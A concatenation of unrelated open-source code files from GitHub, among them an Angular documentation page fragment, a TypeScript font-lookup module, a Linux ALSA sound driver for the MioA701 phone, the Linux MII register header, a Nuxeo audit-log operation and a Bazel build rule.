<div>
<div class="color component"></div><span>Component</span>
</div>
<div>
<div class="color directive"></div><span>Html element with directive</span>
</div>
</div>
</div>
</div>
<script src="../js/libs/vis.min.js"></script>
<script src="../js/libs/htmlparser.js"></script>
<script src="../js/libs/deep-iterator.js"></script>
<script>
var COMPONENT_TEMPLATE = '<div><div class="notify-container in" *ngIf="loading.hasError"> <div class="notify-error notify-content"> <div class="notify-error-message"> <span class="notify-icon">!</span> <p class="notify-icon-text"> {{loading.hasMsg}} </p> </div> </div></div></div>'
var COMPONENTS = [{'name': 'AddAddressComponent', 'selector': 'app-add-address'},{'name': 'AddressComponent', 'selector': 'app-address'},{'name': 'AddressesComponent', 'selector': 'app-addresses'},{'name': 'AppComponent', 'selector': 'app-root'},{'name': 'BreadcrumbComponent', 'selector': 'app-breadcrumb'},{'name': 'CartComponent', 'selector': 'app-cart'},{'name': 'CashOnDeliveryComponent', 'selector': 'app-cash-on-delivery'},{'name': 'CheckoutFooterComponent', 'selector': 'app-checkout-footer'},{'name': 'CheckoutHeaderComponent', 'selector': 'app-checkout-header'},{'name': 'ContentComponent', 'selector': 'app-content'},{'name': 'ContentHeaderComponent', 'selector': 'app-content-header'},{'name': 'CreditCardComponent', 'selector': 'app-credit-card'},{'name': 'CustomizeComponent', 'selector': 'app-customize'},{'name': 'DeliveryAddressComponent', 'selector': 'app-delivery-address'},{'name': 'DeliveryOptionsComponent', 'selector': 'app-delivery-options'},{'name': 'EmptyCartComponent', 'selector': 'app-empty-cart'},{'name': 'FilterComponent', 'selector': 'app-filter'},{'name': 'FilterSummaryComponent', 'selector': 'app-filter-summary'},{'name': 'FooterComponent', 'selector': 'app-footer'},{'name': 'HeaderComponent', 'selector': 'app-header'},{'name': 'HomeComponent', 'selector': 'app-home'},{'name': 'LineItemComponent', 'selector': 'app-line-item'},{'name': 'LineItemListComponent', 'selector': 'app-line-item-list'},{'name': 'LoadingIndicatorComponent', 'selector': 'app-loading-indicator'},{'name': 'LoginComponent', 'selector': 'app-login'},{'name': 'NetBankingComponent', 'selector': 'app-net-banking'},{'name': 'NotificationComponent', 'selector': 'app-notification'},{'name': 'OrderDetailComponent', 'selector': 'app-order-detail'},{'name': 'OrderListItemComponent', 'selector': 'app-order-list-item'},{'name': 'OrderTotalSummaryComponent', 'selector': 'app-order-total-summary'},{'name': 'OrdersComponent', 'selector': 'app-orders'},{'name': 'OverviewComponent', 'selector': 'app-overview'},{'name': 'PaymentComponent', 'selector': 'app-payment'},{'name': 'PaymentModeComponent', 'selector': 'app-payment-mode'},{'name': 'PaymentModesListComponent', 'selector': 'app-payment-modes-list'},{'name': 'ProductComponent', 'selector': 'app-product'},{'name': 'ProductDescriptionComponent', 'selector': 'app-product-description'},{'name': 'ProductDetailPageComponent', 'selector': 'app-product-detail-page'},{'name': 'ProductDetailsComponent', 'selector': 'app-product-details'},{'name': 'ProductImagesComponent', 'selector': 'app-image-container'},{'name': 'ProductListComponent', 'selector': 'app-product-list'},{'name': 'ProductListItemComponent', 'selector': 'app-product-list-item'},{'name': 'ProductPriceInfoComponent', 'selector': 'app-product-price-info'},{'name': 'ProductVariantsComponent', 'selector': 'app-product-variants'},{'name': 'ProfileDropdownComponent', 'selector': 'app-profile-dropdown'},{'name': 'ReturnListItemComponent', 'selector': 'app-return-list-item'},{'name': 'ReturnsComponent', 'selector': 'app-returns'},{'name': 'SignUpComponent', 'selector': 'app-sign-up'},{'name': 'TaxonsComponent', 'selector': 'app-taxons'},{'name': 'UserComponent', 'selector': 'app-user'}];
var DIRECTIVES = [];
var ACTUAL_COMPONENT = {'name': 'NotificationComponent'};
</script>
<script src="../js/tree.js"></script>
</div><div class="search-results">
<div class="has-results">
<h1 class="search-results-title"><span class='search-results-count'></span> results matching "<span class='search-query'></span>"</h1>
<ul class="search-results-list"></ul>
</div>
<div class="no-results">
<h1 class="search-results-title">No results matching "<span class='search-query'></span>"</h1>
</div>
</div>
</div>
</div>
</div>
<script src="../js/libs/bootstrap-native.js"></script>
<script src="../js/libs/es6-shim.min.js"></script>
<script src="../js/libs/EventDispatcher.js"></script>
<script src="../js/libs/promise.min.js"></script>
<script src="../js/libs/zepto.min.js"></script>
<script src="../js/compodoc.js"></script>
<script>var COMPODOC_CURRENT_PAGE_DEPTH = 1;</script>
<script src="../js/search/search.js"></script>
<script src="../js/search/lunr.min.js"></script>
<script src="../js/search/search-lunr.js"></script>
<script src="../js/tabs.js"></script>
<script src="../js/menu.js"></script>
<script src="../js/libs/prism.js"></script>
<script src="../js/sourceCode.js"></script>
<script src="../js/search/search_index.js"></script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
import { hashStyle } from '../../utils/hashStyle';
import { TextStyle } from '../../types';
import { FONT_STYLES } from '../../jsonUtils/textLayers';
// this borrows heavily from react-native's RCTFont class
// thanks y'all
// https://github.com/facebook/react-native/blob/master/React/Views/RCTFont.mm
const FONT_WEIGHTS: { [key: string]: number } = {
ultralight: -0.8,
'100': -0.8,
thin: -0.6,
'200': -0.6,
light: -0.4,
'300': -0.4,
normal: 0,
regular: 0,
'400': 0,
semibold: 0.23,
demibold: 0.23,
'500': 0.23,
'600': 0.3,
bold: 0.4,
'700': 0.4,
extrabold: 0.56,
ultrabold: 0.56,
heavy: 0.56,
'800': 0.56,
black: 0.62,
'900': 0.62,
};
type NSFont = any;
const isItalicFont = (font: NSFont): boolean => {
const traits = font.fontDescriptor().objectForKey(NSFontTraitsAttribute);
const symbolicTraits = traits[NSFontSymbolicTrait].unsignedIntValue();
return (symbolicTraits & NSFontItalicTrait) !== 0;
};
const isCondensedFont = (font: NSFont): boolean => {
const traits = font.fontDescriptor().objectForKey(NSFontTraitsAttribute);
const symbolicTraits = traits[NSFontSymbolicTrait].unsignedIntValue();
return (symbolicTraits & NSFontCondensedTrait) !== 0;
};
const weightOfFont = (font: NSFont): number => {
const traits = font.fontDescriptor().objectForKey(NSFontTraitsAttribute);
const weight = traits[NSFontWeightTrait].doubleValue();
if (weight === 0.0) {
const weights = Object.keys(FONT_WEIGHTS);
const fontName = String(font.fontName()).toLowerCase();
const matchingWeight = weights.find((w) => fontName.endsWith(w));
if (matchingWeight) {
return FONT_WEIGHTS[matchingWeight];
}
}
return weight;
};
const fontNamesForFamilyName = (familyName: string): Array<string> => {
const manager = NSFontManager.sharedFontManager();
const members = NSArray.arrayWithArray(manager.availableMembersOfFontFamily(familyName));
const results = [];
for (let i = 0; i < members.length; i += 1) {
results.push(members[i][0]);
}
return results;
};
const useCache = true;
const _cache: Map<string, NSFont> = new Map();
const getCached = (key: string): NSFont => {
if (!useCache) return undefined;
return _cache.get(key);
};
export const findFont = (style: TextStyle): NSFont => {
const cacheKey = hashStyle(style);
let font = getCached(cacheKey);
if (font) {
return font;
}
const defaultFontFamily = NSFont.systemFontOfSize(14).familyName();
const defaultFontWeight = NSFontWeightRegular;
const defaultFontSize = 14;
const fontSize = style.fontSize ? style.fontSize : defaultFontSize;
let fontWeight = FONT_WEIGHTS[String(style.fontWeight).toLowerCase()] || defaultFontWeight;
let familyName = defaultFontFamily;
let isItalic = false;
let isCondensed = false;
if (style.fontFamily) {
familyName = style.fontFamily;
}
if (style.fontStyle) {
isItalic = FONT_STYLES[style.fontStyle] || false;
}
let didFindFont = false;
// Handle system font as special case. This ensures that we preserve
// the specific metrics of the standard system font as closely as possible.
if (familyName === defaultFontFamily || familyName === 'System') {
font = NSFont.systemFontOfSize_weight(fontSize, fontWeight);
if (font) {
didFindFont = true;
if (isItalic || isCondensed) {
let fontDescriptor = font.fontDescriptor();
let symbolicTraits = fontDescriptor.symbolicTraits();
if (isItalic) {
symbolicTraits |= NSFontItalicTrait;
}
if (isCondensed) {
symbolicTraits |= NSFontCondensedTrait;
}
fontDescriptor = fontDescriptor.fontDescriptorWithSymbolicTraits(symbolicTraits);
font = NSFont.fontWithDescriptor_size(fontDescriptor, fontSize);
}
}
}
const fontNames = fontNamesForFamilyName(familyName);
// Gracefully handle being given a font name rather than font family, for
// example: "Helvetica Light Oblique" rather than just "Helvetica".
if (!didFindFont && fontNames.length === 0) {
font = NSFont.fontWithName_size(familyName, fontSize);
if (font) {
// It's actually a font name, not a font family name,
// but we'll do what was meant, not what was said.
familyName = font.familyName();
fontWeight = style.fontWeight ? fontWeight : weightOfFont(font);
isItalic = style.fontStyle ? isItalic : isItalicFont(font);
isCondensed = isCondensedFont(font);
} else {
font = NSFont.systemFontOfSize_weight(fontSize, fontWeight);
}
didFindFont = true;
}
if (!didFindFont) {
// Get the closest font that matches the given weight for the fontFamily
let closestWeight = Infinity;
for (let i = 0; i < fontNames.length; i += 1) {
const match = NSFont.fontWithName_size(fontNames[i], fontSize);
if (isItalic === isItalicFont(match) && isCondensed === isCondensedFont(match)) {
const testWeight = weightOfFont(match);
if (Math.abs(testWeight - fontWeight) < Math.abs(closestWeight - fontWeight)) {
font = match;
closestWeight = testWeight;
}
}
}
}
// If we still don't have a match at least return the first font in the fontFamily
// This is to support built-in font Zapfino and other custom single font families like Impact
if (!font) {
if (fontNames.length > 0) {
font = NSFont.fontWithName_size(fontNames[0], fontSize);
}
}
// TODO(gold): support opentype features: small-caps & number types
if (font) {
_cache.set(cacheKey, font);
}
return font;
};
export function findFontName(style: TextStyle): string {
const font = findFont(style);
return String(font.fontDescriptor().postscriptName());
}
|
{
"pile_set_name": "Github"
}
|
/*
* Handles the Mitac mioa701 SoC system
*
* Copyright (C) 2008 Robert Jarzmik
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation in version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* This is a little schema of the sound interconnections :
*
* Sagem X200 Wolfson WM9713
* +--------+ +-------------------+ Rear Speaker
* | | | | /-+
* | +--->----->---+MONOIN SPKL+--->----+-+ |
* | GSM | | | | | |
* | +--->----->---+PCBEEP SPKR+--->----+-+ |
* | CHIP | | | \-+
* | +---<-----<---+MONO |
* | | | | Front Speaker
* +--------+ | | /-+
* | HPL+--->----+-+ |
* | | | | |
* | OUT3+--->----+-+ |
* | | \-+
* | |
* | | Front Micro
* | | +
* | MIC1+-----<--+o+
* | | +
* +-------------------+ ---
*/
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/platform_device.h>
#include <asm/mach-types.h>
#include <mach/audio.h>
#include <sound/core.h>
#include <sound/pcm.h>
#include <sound/soc.h>
#include <sound/soc-dapm.h>
#include <sound/initval.h>
#include <sound/ac97_codec.h>
#include "pxa2xx-pcm.h"
#include "pxa2xx-ac97.h"
#include "../codecs/wm9713.h"
#define ARRAY_AND_SIZE(x) (x), ARRAY_SIZE(x)
#define AC97_GPIO_PULL 0x58
/* Use GPIO8 for rear speaker amplifier */
static int rear_amp_power(struct snd_soc_codec *codec, int power)
{
unsigned short reg;
if (power) {
reg = snd_soc_read(codec, AC97_GPIO_CFG);
snd_soc_write(codec, AC97_GPIO_CFG, reg | 0x0100);
reg = snd_soc_read(codec, AC97_GPIO_PULL);
snd_soc_write(codec, AC97_GPIO_PULL, reg | (1<<15));
} else {
reg = snd_soc_read(codec, AC97_GPIO_CFG);
snd_soc_write(codec, AC97_GPIO_CFG, reg & ~0x0100);
reg = snd_soc_read(codec, AC97_GPIO_PULL);
snd_soc_write(codec, AC97_GPIO_PULL, reg & ~(1<<15));
}
return 0;
}
static int rear_amp_event(struct snd_soc_dapm_widget *widget,
struct snd_kcontrol *kctl, int event)
{
struct snd_soc_codec *codec = widget->codec;
return rear_amp_power(codec, SND_SOC_DAPM_EVENT_ON(event));
}
/* mioa701 machine dapm widgets */
static const struct snd_soc_dapm_widget mioa701_dapm_widgets[] = {
SND_SOC_DAPM_SPK("Front Speaker", NULL),
SND_SOC_DAPM_SPK("Rear Speaker", rear_amp_event),
SND_SOC_DAPM_MIC("Headset", NULL),
SND_SOC_DAPM_LINE("GSM Line Out", NULL),
SND_SOC_DAPM_LINE("GSM Line In", NULL),
SND_SOC_DAPM_MIC("Headset Mic", NULL),
SND_SOC_DAPM_MIC("Front Mic", NULL),
};
static const struct snd_soc_dapm_route audio_map[] = {
/* Call Mic */
{"Mic Bias", NULL, "Front Mic"},
{"MIC1", NULL, "Mic Bias"},
/* Headset Mic */
{"LINEL", NULL, "Headset Mic"},
{"LINER", NULL, "Headset Mic"},
/* GSM Module */
{"MONOIN", NULL, "GSM Line Out"},
{"PCBEEP", NULL, "GSM Line Out"},
{"GSM Line In", NULL, "MONO"},
/* headphone connected to HPL, HPR */
{"Headset", NULL, "HPL"},
{"Headset", NULL, "HPR"},
/* front speaker connected to HPL, OUT3 */
{"Front Speaker", NULL, "HPL"},
{"Front Speaker", NULL, "OUT3"},
/* rear speaker connected to SPKL, SPKR */
{"Rear Speaker", NULL, "SPKL"},
{"Rear Speaker", NULL, "SPKR"},
};
static int mioa701_wm9713_init(struct snd_soc_codec *codec)
{
unsigned short reg;
/* Add mioa701 specific widgets */
snd_soc_dapm_new_controls(codec, ARRAY_AND_SIZE(mioa701_dapm_widgets));
/* Set up mioa701 specific audio path audio_mapnects */
snd_soc_dapm_add_routes(codec, ARRAY_AND_SIZE(audio_map));
/* Prepare GPIO8 for rear speaker amplifier */
reg = codec->read(codec, AC97_GPIO_CFG);
codec->write(codec, AC97_GPIO_CFG, reg | 0x0100);
/* Prepare MIC input */
reg = codec->read(codec, AC97_3D_CONTROL);
codec->write(codec, AC97_3D_CONTROL, reg | 0xc000);
snd_soc_dapm_enable_pin(codec, "Front Speaker");
snd_soc_dapm_enable_pin(codec, "Rear Speaker");
snd_soc_dapm_enable_pin(codec, "Front Mic");
snd_soc_dapm_enable_pin(codec, "GSM Line In");
snd_soc_dapm_enable_pin(codec, "GSM Line Out");
snd_soc_dapm_sync(codec);
return 0;
}
static struct snd_soc_ops mioa701_ops;
static struct snd_soc_dai_link mioa701_dai[] = {
{
.name = "AC97",
.stream_name = "AC97 HiFi",
.cpu_dai = &pxa_ac97_dai[PXA2XX_DAI_AC97_HIFI],
.codec_dai = &wm9713_dai[WM9713_DAI_AC97_HIFI],
.init = mioa701_wm9713_init,
.ops = &mioa701_ops,
},
{
.name = "AC97 Aux",
.stream_name = "AC97 Aux",
.cpu_dai = &pxa_ac97_dai[PXA2XX_DAI_AC97_AUX],
.codec_dai = &wm9713_dai[WM9713_DAI_AC97_AUX],
.ops = &mioa701_ops,
},
};
static struct snd_soc_card mioa701 = {
.name = "MioA701",
.platform = &pxa2xx_soc_platform,
.dai_link = mioa701_dai,
.num_links = ARRAY_SIZE(mioa701_dai),
};
static struct snd_soc_device mioa701_snd_devdata = {
.card = &mioa701,
.codec_dev = &soc_codec_dev_wm9713,
};
static struct platform_device *mioa701_snd_device;
static int mioa701_wm9713_probe(struct platform_device *pdev)
{
int ret;
if (!machine_is_mioa701())
return -ENODEV;
dev_warn(&pdev->dev, "Be warned that incorrect mixers/muxes setup will"
"lead to overheating and possible destruction of your device."
"Do not use without a good knowledge of mio's board design!\n");
mioa701_snd_device = platform_device_alloc("soc-audio", -1);
if (!mioa701_snd_device)
return -ENOMEM;
platform_set_drvdata(mioa701_snd_device, &mioa701_snd_devdata);
mioa701_snd_devdata.dev = &mioa701_snd_device->dev;
ret = platform_device_add(mioa701_snd_device);
if (!ret)
return 0;
platform_device_put(mioa701_snd_device);
return ret;
}
static int __devexit mioa701_wm9713_remove(struct platform_device *pdev)
{
platform_device_unregister(mioa701_snd_device);
return 0;
}
static struct platform_driver mioa701_wm9713_driver = {
.probe = mioa701_wm9713_probe,
.remove = __devexit_p(mioa701_wm9713_remove),
.driver = {
.name = "mioa701-wm9713",
.owner = THIS_MODULE,
},
};
static int __init mioa701_asoc_init(void)
{
return platform_driver_register(&mioa701_wm9713_driver);
}
static void __exit mioa701_asoc_exit(void)
{
platform_driver_unregister(&mioa701_wm9713_driver);
}
module_init(mioa701_asoc_init);
module_exit(mioa701_asoc_exit);
/* Module information */
MODULE_AUTHOR("Robert Jarzmik (rjarzmik@free.fr)");
MODULE_DESCRIPTION("ALSA SoC WM9713 MIO A701");
MODULE_LICENSE("GPL");
|
{
"pile_set_name": "Github"
}
|
import { Chat } from '../models'
import * as tt from '../../node_modules/telegraf/typings/telegram-types.d'
import { InstanceType } from 'typegoose'
declare module 'telegraf' {
export class ContextMessageUpdate {
public dbchat: InstanceType<Chat>
replyWithMarkdown(
markdown: string,
extra?: tt.ExtraEditMessage | Extra
): Promise<tt.Message>
}
export interface Composer<TContext extends ContextMessageUpdate> {
action(
action: string | string[] | RegExp,
middleware: Middleware<TContext>,
...middlewares: Array<Middleware<TContext>>
): Composer<TContext>
}
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<product version="3" modelHash="bfkcvov8oev5gs3g30h1gkp5wm03jip">
<files names="PluginUtils.java" />
</product>
|
{
"pile_set_name": "Github"
}
|
/*
* (C) Copyright 2006-2011 Nuxeo SA (http://nuxeo.com/) and others.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Contributors:
* bstefanescu
*/
package org.nuxeo.ecm.automation.core.operations.services;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Date;
import java.util.List;
import org.nuxeo.ecm.automation.OperationContext;
import org.nuxeo.ecm.automation.core.Constants;
import org.nuxeo.ecm.automation.core.annotations.Context;
import org.nuxeo.ecm.automation.core.annotations.Operation;
import org.nuxeo.ecm.automation.core.annotations.OperationMethod;
import org.nuxeo.ecm.automation.core.annotations.Param;
import org.nuxeo.ecm.core.api.DocumentModel;
import org.nuxeo.ecm.core.api.DocumentModelList;
import org.nuxeo.ecm.platform.audit.api.AuditLogger;
import org.nuxeo.ecm.platform.audit.api.LogEntry;
/**
* @author <a href="mailto:bs@nuxeo.com">Bogdan Stefanescu</a>
*/
@Operation(id = AuditLog.ID, category = Constants.CAT_SERVICES, label = "Log Event In Audit", description = "Log events into audit for each of the input document. The operation accept as input one ore more documents that are returned back as the output.", aliases = { "Audit.Log" })
public class AuditLog {
public static final String ID = "Audit.LogEvent";
@Context
protected AuditLogger logger;
@Context
protected OperationContext ctx;
@Param(name = "event", widget = Constants.W_AUDIT_EVENT)
protected String event;
@Param(name = "category", required = false, values = { "Automation" })
protected String category = "Automation";
@Param(name = "comment", required = false, widget = Constants.W_MULTILINE_TEXT)
protected String comment = "";
@OperationMethod
public DocumentModel run(DocumentModel doc) {
String uname = ctx.getPrincipal().getActingUser();
LogEntry entry = newEntry(doc, uname, new Date());
logger.addLogEntries(Collections.singletonList(entry));
return doc;
}
@OperationMethod
public DocumentModelList run(DocumentModelList docs) {
List<LogEntry> entries = new ArrayList<>();
Date date = new Date();
String uname = ctx.getPrincipal().getActingUser();
for (DocumentModel doc : docs) {
entries.add(newEntry(doc, uname, date));
}
logger.addLogEntries(entries);
return docs;
}
protected LogEntry newEntry(DocumentModel doc, String principal, Date date) {
LogEntry entry = logger.newLogEntry();
entry.setEventId(event);
entry.setEventDate(new Date());
entry.setCategory(category);
entry.setDocUUID(doc.getId());
entry.setDocPath(doc.getPathAsString());
entry.setComment(comment);
entry.setPrincipalName(principal);
entry.setDocType(doc.getType());
entry.setRepositoryId(doc.getRepositoryName());
entry.setDocLifeCycle(doc.getCurrentLifeCycleState());
return entry;
}
}
|
{
"pile_set_name": "Github"
}
|
load("@io_bazel_rules_go//go:def.bzl", "go_library")
go_library(
name = "go_default_library",
srcs = [
"expansion_generated.go",
"priorityclass.go",
],
importmap = "k8s.io/kops/vendor/k8s.io/client-go/listers/scheduling/v1",
importpath = "k8s.io/client-go/listers/scheduling/v1",
visibility = ["//visibility:public"],
deps = [
"//vendor/k8s.io/api/scheduling/v1:go_default_library",
"//vendor/k8s.io/apimachinery/pkg/api/errors:go_default_library",
"//vendor/k8s.io/apimachinery/pkg/labels:go_default_library",
"//vendor/k8s.io/client-go/tools/cache:go_default_library",
],
)
|
{
"pile_set_name": "Github"
}
|
/*
* linux/mii.h: definitions for MII-compatible transceivers
* Originally drivers/net/sunhme.h.
*
* Copyright (C) 1996, 1999, 2001 David S. Miller (davem@redhat.com)
*/
#ifndef __LINUX_MII_H__
#define __LINUX_MII_H__
/* Generic MII registers. */
#define MII_BMCR 0x00 /* Basic mode control register */
#define MII_BMSR 0x01 /* Basic mode status register */
#define MII_PHYSID1 0x02 /* PHYS ID 1 */
#define MII_PHYSID2 0x03 /* PHYS ID 2 */
#define MII_ADVERTISE 0x04 /* Advertisement control reg */
#define MII_LPA 0x05 /* Link partner ability reg */
#define MII_EXPANSION 0x06 /* Expansion register */
#define MII_CTRL1000 0x09 /* 1000BASE-T control */
#define MII_STAT1000 0x0a /* 1000BASE-T status */
#define MII_ESTATUS 0x0f /* Extended Status */
#define MII_DCOUNTER 0x12 /* Disconnect counter */
#define MII_FCSCOUNTER 0x13 /* False carrier counter */
#define MII_NWAYTEST 0x14 /* N-way auto-neg test reg */
#define MII_RERRCOUNTER 0x15 /* Receive error counter */
#define MII_SREVISION 0x16 /* Silicon revision */
#define MII_RESV1 0x17 /* Reserved... */
#define MII_LBRERROR 0x18 /* Lpback, rx, bypass error */
#define MII_PHYADDR 0x19 /* PHY address */
#define MII_RESV2 0x1a /* Reserved... */
#define MII_TPISTATUS 0x1b /* TPI status for 10mbps */
#define MII_NCONFIG 0x1c /* Network interface config */
/* Basic mode control register. */
#define BMCR_RESV 0x003f /* Unused... */
#define BMCR_SPEED1000 0x0040 /* MSB of Speed (1000) */
#define BMCR_CTST 0x0080 /* Collision test */
#define BMCR_FULLDPLX 0x0100 /* Full duplex */
#define BMCR_ANRESTART 0x0200 /* Auto negotiation restart */
#define BMCR_ISOLATE 0x0400 /* Disconnect DP83840 from MII */
#define BMCR_PDOWN 0x0800 /* Powerdown the DP83840 */
#define BMCR_ANENABLE 0x1000 /* Enable auto negotiation */
#define BMCR_SPEED100 0x2000 /* Select 100Mbps */
#define BMCR_LOOPBACK 0x4000 /* TXD loopback bits */
#define BMCR_RESET 0x8000 /* Reset the DP83840 */
/* Basic mode status register. */
#define BMSR_ERCAP 0x0001 /* Ext-reg capability */
#define BMSR_JCD 0x0002 /* Jabber detected */
#define BMSR_LSTATUS 0x0004 /* Link status */
#define BMSR_ANEGCAPABLE 0x0008 /* Able to do auto-negotiation */
#define BMSR_RFAULT 0x0010 /* Remote fault detected */
#define BMSR_ANEGCOMPLETE 0x0020 /* Auto-negotiation complete */
#define BMSR_RESV 0x00c0 /* Unused... */
#define BMSR_ESTATEN 0x0100 /* Extended Status in R15 */
#define BMSR_100HALF2 0x0200 /* Can do 100BASE-T2 HDX */
#define BMSR_100FULL2 0x0400 /* Can do 100BASE-T2 FDX */
#define BMSR_10HALF 0x0800 /* Can do 10mbps, half-duplex */
#define BMSR_10FULL 0x1000 /* Can do 10mbps, full-duplex */
#define BMSR_100HALF 0x2000 /* Can do 100mbps, half-duplex */
#define BMSR_100FULL 0x4000 /* Can do 100mbps, full-duplex */
#define BMSR_100BASE4 0x8000 /* Can do 100mbps, 4k packets */
/* Advertisement control register. */
#define ADVERTISE_SLCT 0x001f /* Selector bits */
#define ADVERTISE_CSMA 0x0001 /* Only selector supported */
#define ADVERTISE_10HALF 0x0020 /* Try for 10mbps half-duplex */
#define ADVERTISE_1000XFULL 0x0020 /* Try for 1000BASE-X full-duplex */
#define ADVERTISE_10FULL 0x0040 /* Try for 10mbps full-duplex */
#define ADVERTISE_1000XHALF 0x0040 /* Try for 1000BASE-X half-duplex */
#define ADVERTISE_100HALF 0x0080 /* Try for 100mbps half-duplex */
#define ADVERTISE_1000XPAUSE 0x0080 /* Try for 1000BASE-X pause */
#define ADVERTISE_100FULL 0x0100 /* Try for 100mbps full-duplex */
#define ADVERTISE_1000XPSE_ASYM 0x0100 /* Try for 1000BASE-X asym pause */
#define ADVERTISE_100BASE4 0x0200 /* Try for 100mbps 4k packets */
#define ADVERTISE_PAUSE_CAP 0x0400 /* Try for pause */
#define ADVERTISE_PAUSE_ASYM 0x0800 /* Try for asymetric pause */
#define ADVERTISE_RESV 0x1000 /* Unused... */
#define ADVERTISE_RFAULT 0x2000 /* Say we can detect faults */
#define ADVERTISE_LPACK 0x4000 /* Ack link partners response */
#define ADVERTISE_NPAGE 0x8000 /* Next page bit */
#define ADVERTISE_FULL (ADVERTISE_100FULL | ADVERTISE_10FULL | \
ADVERTISE_CSMA)
#define ADVERTISE_ALL (ADVERTISE_10HALF | ADVERTISE_10FULL | \
ADVERTISE_100HALF | ADVERTISE_100FULL)
/* Link partner ability register. */
#define LPA_SLCT 0x001f /* Same as advertise selector */
#define LPA_10HALF 0x0020 /* Can do 10mbps half-duplex */
#define LPA_1000XFULL 0x0020 /* Can do 1000BASE-X full-duplex */
#define LPA_10FULL 0x0040 /* Can do 10mbps full-duplex */
#define LPA_1000XHALF 0x0040 /* Can do 1000BASE-X half-duplex */
#define LPA_100HALF 0x0080 /* Can do 100mbps half-duplex */
#define LPA_1000XPAUSE 0x0080 /* Can do 1000BASE-X pause */
#define LPA_100FULL 0x0100 /* Can do 100mbps full-duplex */
#define LPA_1000XPAUSE_ASYM 0x0100 /* Can do 1000BASE-X pause asym*/
#define LPA_100BASE4 0x0200 /* Can do 100mbps 4k packets */
#define LPA_PAUSE_CAP 0x0400 /* Can pause */
#define LPA_PAUSE_ASYM 0x0800 /* Can pause asymetrically */
#define LPA_RESV 0x1000 /* Unused... */
#define LPA_RFAULT 0x2000 /* Link partner faulted */
#define LPA_LPACK 0x4000 /* Link partner acked us */
#define LPA_NPAGE 0x8000 /* Next page bit */
#define LPA_DUPLEX (LPA_10FULL | LPA_100FULL)
#define LPA_100 (LPA_100FULL | LPA_100HALF | LPA_100BASE4)
/* Expansion register for auto-negotiation. */
#define EXPANSION_NWAY 0x0001 /* Can do N-way auto-nego */
#define EXPANSION_LCWP 0x0002 /* Got new RX page code word */
#define EXPANSION_ENABLENPAGE 0x0004 /* This enables npage words */
#define EXPANSION_NPCAPABLE 0x0008 /* Link partner supports npage */
#define EXPANSION_MFAULTS 0x0010 /* Multiple faults detected */
#define EXPANSION_RESV 0xffe0 /* Unused... */
#define ESTATUS_1000_XFULL 0x8000 /* Can do 1000BX Full */
#define ESTATUS_1000_XHALF 0x4000 /* Can do 1000BX Half */
#define ESTATUS_1000_TFULL 0x2000 /* Can do 1000BT Full */
#define ESTATUS_1000_THALF 0x1000 /* Can do 1000BT Half */
/* N-way test register. */
#define NWAYTEST_RESV1 0x00ff /* Unused... */
#define NWAYTEST_LOOPBACK 0x0100 /* Enable loopback for N-way */
#define NWAYTEST_RESV2 0xfe00 /* Unused... */
/* 1000BASE-T Control register */
#define ADVERTISE_1000FULL 0x0200 /* Advertise 1000BASE-T full duplex */
#define ADVERTISE_1000HALF 0x0100 /* Advertise 1000BASE-T half duplex */
/* 1000BASE-T Status register */
#define LPA_1000LOCALRXOK 0x2000 /* Link partner local receiver status */
#define LPA_1000REMRXOK 0x1000 /* Link partner remote receiver status */
#define LPA_1000FULL 0x0800 /* Link partner 1000BASE-T full duplex */
#define LPA_1000HALF 0x0400 /* Link partner 1000BASE-T half duplex */
/* Flow control flags */
#define FLOW_CTRL_TX 0x01
#define FLOW_CTRL_RX 0x02
/**
* mii_nway_result
* @negotiated: value of MII ANAR and'd with ANLPAR
*
* Given a set of MII abilities, check each bit and returns the
* currently supported media, in the priority order defined by
* IEEE 802.3u. We use LPA_xxx constants but note this is not the
* value of LPA solely, as described above.
*
* The one exception to IEEE 802.3u is that 100baseT4 is placed
* between 100T-full and 100T-half. If your phy does not support
* 100T4 this is fine. If your phy places 100T4 elsewhere in the
* priority order, you will need to roll your own function.
*/
static inline unsigned int mii_nway_result (unsigned int negotiated)
{
unsigned int ret;
if (negotiated & LPA_100FULL)
ret = LPA_100FULL;
else if (negotiated & LPA_100BASE4)
ret = LPA_100BASE4;
else if (negotiated & LPA_100HALF)
ret = LPA_100HALF;
else if (negotiated & LPA_10FULL)
ret = LPA_10FULL;
else
ret = LPA_10HALF;
return ret;
}
/**
* mii_duplex
* @duplex_lock: Non-zero if duplex is locked at full
* @negotiated: value of MII ANAR and'd with ANLPAR
*
* A small helper function for a common case. Returns one
* if the media is operating or locked at full duplex, and
* returns zero otherwise.
*/
static inline unsigned int mii_duplex (unsigned int duplex_lock,
unsigned int negotiated)
{
if (duplex_lock)
return 1;
if (mii_nway_result(negotiated) & LPA_DUPLEX)
return 1;
return 0;
}
#endif /* __LINUX_MII_H__ */
|
{
"pile_set_name": "Github"
}
|
#ifndef PCL_GPU_TRACKING_DEVICE_HPP_
#define PCL_GPU_TRACKING_DEVICE_HPP_
#include "internal.h"
namespace pcl
{
namespace device
{
__device__ __forceinline__ float
getSampleNormal (const float mean, const float cov, curandState* rng_state)
{
float rn = curand_normal(rng_state);
return (rn*cov + mean);
}
}
}
#endif // PCL_GPU_TRACKING_DEVICE_HPP_
|
{
"pile_set_name": "Github"
}
|
import React from 'react';
import PropTypes from 'prop-types';
import classNames from 'classnames';
import { BAR_MAP, renderThumbStyle} from './util';
import {on, off} from '../libs/utils/dom';
export class Bar extends React.Component {
constructor(props) {
super(props);
